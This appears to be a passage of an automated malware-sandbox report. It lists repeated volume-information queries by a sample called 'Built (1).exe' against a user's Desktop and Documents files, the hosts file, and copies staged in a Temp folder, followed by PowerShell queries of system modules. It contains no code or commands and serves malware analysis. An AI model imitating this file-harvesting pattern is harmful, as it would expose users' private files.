              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\KATAXZVCPS.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KATAXZVCPS.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KZWFNRXYKI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KZWFNRXYKI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\KZWFNRXYKI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\KZWFNRXYKI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NHPKIZUUSG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NHPKIZUUSG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NHPKIZUUSG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NHPKIZUUSG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NIKHQAIQAU.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NIKHQAIQAU.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NIKHQAIQAU.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NIKHQAIQAU.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NWTVCDUMOB.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NWTVCDUMOB.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NWTVCDUMOB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NWTVCDUMOB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NWTVCDUMOB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NWTVCDUMOB.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\NWTVCDUMOB.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\NWTVCDUMOB.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\ONBQCLYSPU.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\ONBQCLYSPU.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\RAYHIWGKDI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\RAYHIWGKDI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\RAYHIWGKDI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\RAYHIWGKDI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\RAYHIWGKDI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\RAYHIWGKDI.png VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\VLZDGUKUTZ.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\VLZDGUKUTZ.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\VLZDGUKUTZ.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\XZXHAVGRAG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\XZXHAVGRAG.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.jpg VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \System\System Info.txt VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\XZXHAVGRAG.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\ZTGJILHXQB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\ZTGJILHXQB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\ZTGJILHXQB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Desktop\ZTGJILHXQB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Desktop\ZTGJILHXQB.mp3 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Documents\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Documents\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\AIXACVYBSB.xlsx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Documents\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\DTBZGIOOSO.docx VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\Documents\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeQueries volume information: C:\Users\user\AppData\Local\Temp\? ?? \Common Files\Documents\DTBZGIOOSO.pdf VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
